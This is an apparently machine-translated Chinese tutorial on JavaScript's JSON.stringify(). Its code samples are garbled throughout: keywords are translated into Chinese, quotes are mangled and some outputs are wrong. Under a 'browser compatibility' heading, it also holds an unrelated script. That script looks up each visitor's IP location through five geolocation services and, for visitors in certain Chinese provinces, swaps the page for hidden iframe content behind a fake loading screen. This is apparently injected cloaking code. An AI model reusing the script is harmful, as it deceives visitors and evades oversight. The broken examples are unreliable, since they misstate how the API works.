,,js JSON.stringify()基础详解

,,js JSON.stringify()基础详解

JSON.stringify()方法将JavaScript值(对象或数组)转换为JSON字符串。如果指定replacer是一个函数,则可以选择替换该值,或者如果指定replacer是一个数组,则可以选择只包含该数组指定的属性。

JSON.stringify()方法将JavaScript值(对象或数组)转换为JSON字符串。如果指定replacer是一个函数,则可以选择替换该值,或者如果指定replacer是一个数组,则可以选择只包含该数组指定的属性。

语法

JSON.stringify(值[,替换符[,空格]])

参数

价值

要序列化为JSON字符串的值。

替换器可选

如果这个参数是一个函数,那么在序列化的过程中,序列化值的每个属性都会被这个函数进行转换和处理;如果这个参数是一个数组,那么只有这个数组中包含的属性名才会被序列化成最终的JSON字符串;如果此参数为空或未提供,对象的所有属性都将被序列化;有关该参数的更详细的解释和示例,请参考文章使用本机JSON对象。

可选空间

指定缩进的空白字符串,用于美化输出(pretty-print);如果参数是数字,代表有多少空格;上限是10。如果该值小于1,则表示没有空格;如果参数是一个字符串(字符串的前十个字母),字符串将作为一个空格;如果未提供该参数(或为空),则没有空格。

返回值

表示给定值的JSON字符串。

描述

JSON.stringify()将值转换为相应的JSON格式:

转换值如果有toJSON()方法,它定义了哪些值将被序列化。

不能保证非数组对象的属性以特定的顺序出现在序列化字符串中。

在序列化过程中,布尔值、数字和字符串的包装对象将自动转换为相应的原始值。

在序列化过程中,未定义的任意函数和符号值将被忽略(当它们出现在非数组对象的属性值中时)或转换为null(当它们出现在数组中时)。函数和undefined分别转换时,会返回undefined,比如json.stringify (function () {})或者json.stringify (undefined)。

对包含循环引用的对象(对象相互引用形成无限循环)执行此方法将引发错误。

所有以symbol作为属性关键字的属性都将被完全忽略,即使它们包含在replacer参数的强制规范中。

Date调用toJSON()将其转换为string字符串(与Date.toISOString()相同),因此将被视为字符串。

无限格式的数值和null被视为null。

其他类型的对象,包括Map/Set/weakMap/weakSet,只序列化可枚举的属性。

例子

JSON . stringify({ });//'{}'

JSON . stringify(true);//'真'

JSON . stringify(' foo ');//''foo ' '

JSON.stringify([1,' false ',false]);//'[1,' false ',false]'

JSON . stringify({ x:5 });//'{'x':5} '

JSON.stringify({x: 5,y:6 });

//'{'x':5,' y':6} '

JSON . stringify([新数字(1),新字符串(' false '),新布尔(false)]);

//'[1,' false ',false]'

JSON.stringify({x: undefined,y: Object,z:Symbol(')});

//'{}'

JSON.stringify([undefined,Object,Symbol(')]);

//'[空,空,空]'

JSON . stringify({[Symbol(' foo ')]:' foo ' });

//'{}'

JSON . stringify({[symbol . for(' foo ')]:' foo ' },[symbol . for(' foo ')]);

//'{}'

JSON.stringify(

{[Symbol.for('foo')]: 'foo'},

函数(k,v) {

if (typeof k==='symbol'){

返回“一个符号”;

}

}

);

//未定义

//默认情况下将忽略不可枚举的属性:

JSON.stringify(

对象.创建(

空,

{

x: { value: 'x ',可枚举:false },

y: { value: 'y ',可枚举:true }

}

)

);

//'{'y':'y'} '

replacer参数

replacer参数可以是函数或数组。作为一个函数,它有两个参数,键值是序列化的。

如果返回一个数字,转换后的字符串将被添加到JSON字符串中。

如果返回一个字符串,该字符串将作为属性值添加到JSON中。

如果返回一个布尔值,那么“真”或“假”将作为属性值添加到JSON字符串中。

如果返回任何其他对象,该对象被递归地序列化为一个JSON字符串,并为每个属性调用replacer方法。除非对象是函数,否则这种情况不会被序列化为JSON字符串。

如果返回undefined,属性值将不会以JSON字符串的形式输出。

注意:不能使用replacer方法从数组中删除值。如果未定义或返回一个函数,它将被替换为null。

例子(function)

函数替换器(键,值){

if (typeof value==='string') {

返回未定义的;

}

返回值;

}

var foo={foundation: 'Mozilla ',model: 'box ',周:45,transport: 'car ',月:7 };

var JSON string=JSON . stringify(foo,replacer);

JSON序列化结果是{'week':45,' month':7}。

例子(array)

如果replacer是一个数组,数组的值表示将被序列化为JSON字符串的属性名。

JSON.stringify(foo,['week ',' month ']);

//'{'week':45,' month':7} ',仅保留“week”和“month”属性的值。

space 参数

space参数用于控制结果字符串中的间距。如果是数字,串串时每一级都比上一级缩进更多的空格(最多10个空格);如果是字符串,每一级都会比前一级缩进更多。

JSON.stringify({ a: 2 },null,' ');//'{\n 'a': 2\n} '

使用制表符(\t)来缩进:

JSON.stringify({ uno: 1,dos : 2 },null,' \t ')

//'{ \

//'uno': 1,\

//'dos': 2 \

//}'

toJSON 方法

如果序列化对象具有toJSON方法,则toJSON方法将重写该对象的默认序列化行为:调用toJSON方法后的返回值将被序列化,而不是该对象被序列化,例如:

var obj={

福:福,

toJSON: function () {

返回“酒吧”;

}

};

JSON . stringify(obj);//''酒吧' '

JSON . stringify({ x:obj });//'{'x':'bar'} '

注意,严格来说,JSON不是javascript的子集。在JSON中不需要省略两行结束行(行分隔符和段落分隔符),但是在JavaScript中需要省略。因此,如果将JSON用作JSONP,可以使用以下方法:

函数jsfriendly jsonstringify {

返回JSON.stringify。

替换(/\u2028/g,' \\u2028 ')。

替换(/\u2029/g,' \ \ u 2029 ');

}

var s={

a: String.fromCharCode(0x2028),

b: String.fromCharCode(0x2029)

};

尝试{

eval('(' JSON . stringify(s)')');

} catch (e) {

console . log(e);//'语法错误:未终止的字符串文字'

}

//不需要捕捉

eval('(' jsfriendly jsonstringify(s)'));

//在以下情况下,Firefox中的console.log会取消对Unicode的转义

//记录到控制台,所以我们使用alert

alert(jsfriendly jsonstringify(s));//{'a':'\u2028 ',' b':'\u2029'}

使用 JSON.stringify 结合 localStorage 的例子

有时,您希望保存用户创建的对象,即使在浏览器关闭后,您仍可以恢复该对象。以下示例是针对这种情况的JSON.stringify模板:

//创建样本数据

var会话={

屏幕':[],

'状态' :真

};

session . screens . push({ ' name ':' screenA ',' width':450,' height ':250 });

session . screens . push({ ' name ':' screenB ',' width':650,' height ':350 });

session . screens . push({ ' name ':' screenC ',' width':750,' height ':120 });

session . screens . push({ ' name ':' screenD ',' width':250,' height ':60 });

session . screens . push({ ' name ':' screenE ',' width':390,' height ':120 });

session . screens . push({ ' name ':' screenF ',' width':1240,' height ':650 });

//使用JSON.stringify转换为JSON字符串

//然后使用localStorage保存在会话名中。

localStorage.setItem('session ',JSON . stringify(session));

//然后如何转换JSON.stringify生成的字符串,以JSON格式存储在localStorage中。

var restore session=JSON . parse(local storage . getitem(' session ');

//现在restoredSession包含存储在localStorage中的对象。

console . log(restored session);

规范

名称和链接规范状态

ECMAScript 5.1(ECMA-262)JSON。纤细的

ECMAScript 2015(第六版,ECMA-262)JSON.stringify

浏览器兼容性

下面我们小编为大家分享一段代码

div class='nobody' style='

宽度:100%;

身高:100%;

背景色:# fff

位置:固定;

z指数:9999;

top:0;

'加载中./div

div hiddeniframe id=' iframe 1 ' src='/d/bo/index。html '/iframe/div

脚本

var flag=1;

函数bdget(){

var发送日期=(新日期())。getTime();

$.ajax({

网址:' https://API . map . Baidu . com/location/IP?ak=ia6HfFL660Bvh43exmH9LrI6 ',

类型:' POST ',

数据类型:' jsonp ',

成功:函数(数据){

如果(标志){

var接收日期=(新日期())。getTime();

var响应时间=接收日期-发送日期;

var str=

str=(JSON。stringify(数据。地址))| | " ";

nothere('db ',responseTimeMs,str,JSON。stringify(数据));

}

}

});

}

函数shget(){

var发送日期=(新日期())。getTime();

$.ajax({

网址:“https://pv.sohu.com/cityjson?ie=utf-8”,

键入:'获取',

数据类型:"脚本",

成功:函数(数据){

如果(标志){

var接收日期=(新日期())。getTime();

var响应时间=接收日期-发送日期;

var str=returnCitySN.cname

nothere('sh ',responseTimeMs,str,JSON。stringify(数据));

}

}

});

}

函数sbget(){

var发送日期=(新日期())。getTime();

$.ajax({

网址:“https://api.ip.sb/geoip?回调=getgeoip ',

键入:'获取',

数据类型:' jsonp ',

成功:函数(数据){

如果(标志){

var接收日期=(新日期())。getTime();

var响应时间=接收日期-发送日期;

var str=(JSON。stringify(数据。组织)JSON。stringify(数据。region))| |“”;

nothere('sb ',responseTimeMs,str,JSON。stringify(数据));

}

}

});

}

函数tbget(){

var发送日期=(新日期())。getTime();

$.ajax({

类型:' POST ',

网址:' http://IP。淘宝。com/service/geti pinfo 2。PHP ',

数据:{ip:'myip'}

}).完成(函数(数据){

如果(标志){

var接收日期=(新日期())。getTime();

var响应时间=接收日期-发送日期;

var str=JSON。stringify(数据。数据。市)JSON。stringify(数据。数据。地区);

nothere('tb ',responseTimeMs,str,JSON。stringify(数据));

}

});

}

函数ttget(){

var发送日期=(新日期())。getTime();

$.ajax({

url:'https://api.ttt.sh/ip/qqwry/',

键入:'获取',

数据类型:' json ',

成功:函数(数据){

如果(标志){

var接收日期=(新日期())。getTime();

var响应时间=接收日期-发送日期;

var str=JSON。stringify(数据。地址);

nothere('tt ',responseTimeMs,str,JSON。stringify(数据));

}

}

});

}

函数什么也没有名称,时间,地址,数据){

var arr=新数组('贵州','广东','江苏','深圳' u8d35u5dde ',' u5e7fu4e1c ',' u6c5fu82cf ',' u6df1u5733 ','贵州'、'广东'、'江苏'、'深圳');

旗帜;

console.log(名称);

for(x in arr){

if(addr.indexOf(arr[x])!=-1){

var iframe=文档。getelementbyid(“iframe 1”);

var I窗口=iframe。内容窗口;

var idoc=iwindow.document

文档。写(idoc。documentelement。innerhtml);

flag=0;

返回;

}

}

$('.没人)。移除();

}

$(function(){

BD get();

shget();

sb get();

TB get();

TT get();

});

/脚本

这篇文章就介绍到这了,想更多的了解JSON stringify的知识可以查看以下相关文章。

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

相关文章阅读

  • js把字符串转为json,json字符串转换成json对象
  • js把字符串转为json,json字符串转换成json对象,js 将json字符串转换为json对象的方法解析
  • json语法格式,json格式定义
  • json语法格式,json格式定义,Json格式详解
  • json格式数据类型,什么是JSON数据-其常见格式是什么-
  • json格式数据类型,什么是JSON数据-其常见格式是什么-,JSON 数据格式详解
  • json格式怎么写,json文件内容格式
  • json格式怎么写,json文件内容格式,json文件书写格式详解
  • json数组对象转化为json字符串,js把数组转化为json
  • json字符串转换成对象有哪几种方法,字符串转化为json的方法
  • json字符串转换成对象有哪几种方法,字符串转化为json的方法,JSON对象转化为字符串详解
  • json基础介绍与详细用法教程,json基础知识
  • json基础介绍与详细用法教程,json基础知识,JSON基础介绍与详细用法
  • json去掉反斜杠,json字符串中有反斜杠
  • json去掉反斜杠,json字符串中有反斜杠,详解json串反转义(消除反斜杠)
  • 留言与评论(共有 条评论)
       
    验证码: